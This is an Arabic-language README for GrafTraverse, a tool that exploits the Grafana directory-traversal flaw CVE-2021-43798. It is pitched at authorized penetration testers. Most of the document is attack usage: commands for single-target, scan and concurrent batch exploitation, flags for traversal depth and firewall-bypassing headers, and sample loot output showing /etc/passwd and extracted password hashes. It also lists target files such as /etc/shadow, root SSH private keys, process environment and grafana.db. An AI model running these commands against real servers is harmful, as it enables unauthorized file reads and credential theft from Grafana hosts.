
CVE-2021-43798 MiNi Exploitation Framework
أداة أتمتة سطر أوامر للاختبار الأمني المصرح به لثغرة اجتياز الدليل في Grafana (CVE-2021-43798).
CVE-2021-43798 هي ثغرة اجتياز دليل غير مصادق عليها في Grafana 8.x تسمح للمهاجمين بقراءة ملفات عشوائية على نظام الملفات الأساسي عبر نقطة النهاية /public/plugins/. السبب الجذري هو عدم تنقية المسار بشكل صحيح على طلبات أصول الإضافات، مما يتيح لتسلسلات ../ الهروب من الدليل المقصود.
GrafTraverse هي إعادة كتابة كاملة للإثبات المفاهيمي الأصلي. تصلح أخطاء حاسمة في معالجة الطلبات، وتضيف فحصًا متعدد الخيوط للدفعات، واكتشافًا تلقائيًا للإضافات، واستخراج بيانات الاعتماد، وإعداد تقارير منظمة — مما يجعلها أداة من الدرجة الإنتاجية لفرق الاختبارات الأمنية واختبار الاختراق.
# استنساخ المستودع
git clone https://github.com/asbawy/GrafTraverse.git
cd GrafTraverse
# تأكد من توفر requests (مثبتة مع Kali)
pip3 install requests
# اجعله قابلاً للتنفيذ
chmod +x GrafTraverse.py
يستخدم GrafTraverse واجهة سطر أوامر قائمة على الأوامر الفرعية. تدعم جميع الأوامر --help.
إطلاق القائمة التفاعلية ضد مضيف واحد:
python3 GrafTraverse.py single -u http://IP:PORT
============================================================
INTERACTIVE MODE
============================================================
1. /etc/passwd
2. grafana.ini
3. grafana.db
4. Custom path
5. Full automated loot
6. Scan plugins
7. Exit
============================================================
تحديد سريع لنقطة نهاية الإضافة المعرضة للخطر دون استغلال:
python3 GrafTraverse.py scan -u http://target:PORT
تحميل الأهداف من ملف ومعالجتها بشكل متزامن:
python3 GrafTraverse.py batch -l targets.txt --workers 10 --csv results.csv
تنسيق targets.txt:
http://192.168.1.10:3000
http://192.168.1.11:3000
https://grafana.target.com
# الأسطر التي تبدأ بـ # يتم تجاهلها
تغذية قائمة ملفات مخصصة لاجتياز عميق:
python3 GrafTraverse.py single -u http://target:3000 --wordlist sensitive_files.txt --output-dir ./loot --json log.json
توجيه حركة المرور عبر Burp Suite وإضافة رؤوس مخصصة:
python3 GrafTraverse.py single -u http://target:3000 --proxy http://127.0.0.1:8080 -H "X-Forwarded-For: 127.0.0.1" -H "Authorization: Bearer eyJ0..."
singlebatch| العلم | الوصف |
|---|---|
-l, --list | ملف يحتوي على روابط الأهداف (مطلوب) |
--workers | الخيوط المتزامنة (افتراضي: 5) |
(جميع أعلام single مدعومة) |
scan| العلم | الوصف |
|---|---|
-u, --url | URL الهدف (مطلوب) |
| (جميع أعلام الشبكة مدعومة) |
[+] Output: 20260526_GrafTraverse
[*] Testing: /etc/passwd (via alertlist)
[+] SUCCESS: /etc/passwd (1874 bytes)
------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
------------------------------------------------------------
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_passwd
[*] Testing: /var/lib/grafana/grafana.db (via alertlist)
[+] SUCCESS: /var/lib/grafana/grafana.db (98304 bytes)
[+] Saved: 20260526_GrafTraverse/http___10.129.234.47_3000_grafana.db
[*] Extracted 3 password hashes:
admin:PBKDF2$sha256$10000$...base64...
editor:PBKDF2$sha256$10000$...base64...
viewer:PBKDF2$sha256$10000$...base64...
تسلسل الغنيمة المدمج يحاول استرجاع الملفات التالية بالترتيب:
| الميزة | الوصف |
|---|
| هجوم القوة العمياء متعدد الإضافات | يستكشف تلقائيًا أكثر من 40 إضافة مدمجة للعثور على مسار ضعيف |
| الوضع التفاعلي | وضع قائم على القوائم لاستغلال هدف واحد مع معاينة حية للملفات |
| وضع الدفعة | مسح متزامن لأهداف متعددة مع عمال خيوط قابلة للتكوين |
| وضع قائمة الكلمات | تعداد عميق للملفات باستخدام قوائم كلمات مخصصة |
| استخراج التجزئة تلقائيًا | يستخرج تلقائيًا تجزئات كلمات المرور PBKDF2 من قاعدة البيانات grafana.db التي تم تنزيلها |
| التسجيل المنظم | تصدير النتائج إلى JSON و CSV لتقارير سلسة |
| دعم الوكيل | توجيه حركة المرور عبر Burp أو ZAP أو أي وكيل HTTP (--proxy) |
| رؤوس مخصصة | إدراج رؤوس عشوائية لتجاوز جدار الحماية أو رموز المصادقة (-H) |
| تخصيص الاجتياز | تجاوز عمق الاجتياز الافتراضي للبيئات غير القياسية (--depth) |
| التصفية الذكية | يزيل النتائج الإيجابية الكاذبة برفض استجابات JS/CSS/HTML للإضافات |
| بدون تبعيات | يتطلب فقط requests (مثبت مسبقًا على Kali / Parrot) |
| العلم | الوصف |
|---|
-u, --url | URL الهدف (مطلوب) |
--no-download | وضع العرض فقط، لا تحفظ الملفات |
-t, --timeout | مهلة الطلب بالثواني (افتراضي: 10) |
--proxy | رابط وكيل HTTP/HTTPS |
-H, --header | رأس مخصص (قابل للتكرار) |
--depth | سلسلة الاجتياز (افتراضي: ../../../../../../../../) |
--output-dir | دليل لحفظ الملفات المسترجعة |
--json | إلحاق النتائج بملف سجل JSON |
--csv | إلحاق النتائج بملف سجل CSV |
--wordlist | ملف يحتوي على مسارات للتعداد |
--plugin | فرض اسم إضافة معين |
| الملف | النوع | الحساسية |
|---|
/etc/passwd | نص | تعداد المستخدمين |
/etc/shadow | نص | تجزئات كلمات المرور (نادرًا ما يُقرأ) |
/etc/hosts | نص | طوبولوجيا الشبكة |
/etc/hostname | نص | تحديد المضيف |
/etc/grafana/grafana.ini | نص | أسرار Grafana وبيانات اعتماد قاعدة البيانات |
/var/lib/grafana/grafana.db | ثنائي | قاعدة بيانات SQLite تحتوي على تجزئات المستخدمين ومفاتيح API |
/var/log/grafana/grafana.log | نص | استخبارات تشغيلية |
/root/.ssh/id_rsa | نص | مفتاح SSH خاص |
/root/.ssh/authorized_keys | نص | تعيين الوصول القائم على المفاتيح |
/proc/self/environ | نص | متغيرات بيئة العملية |
/proc/self/cmdline | نص | وسائط العملية |
/proc/version | نص | إصدار النواة |
/proc/mounts | نص | تخطيط نظام الملفات |
/etc/os-release | نص | تعريف نظام التشغيل |
/etc/issue | نص | تعريف نظام التشغيل |
/etc/crontab | نص | المهام المجدولة |
/etc/resolv.conf | نص | تكوين DNS |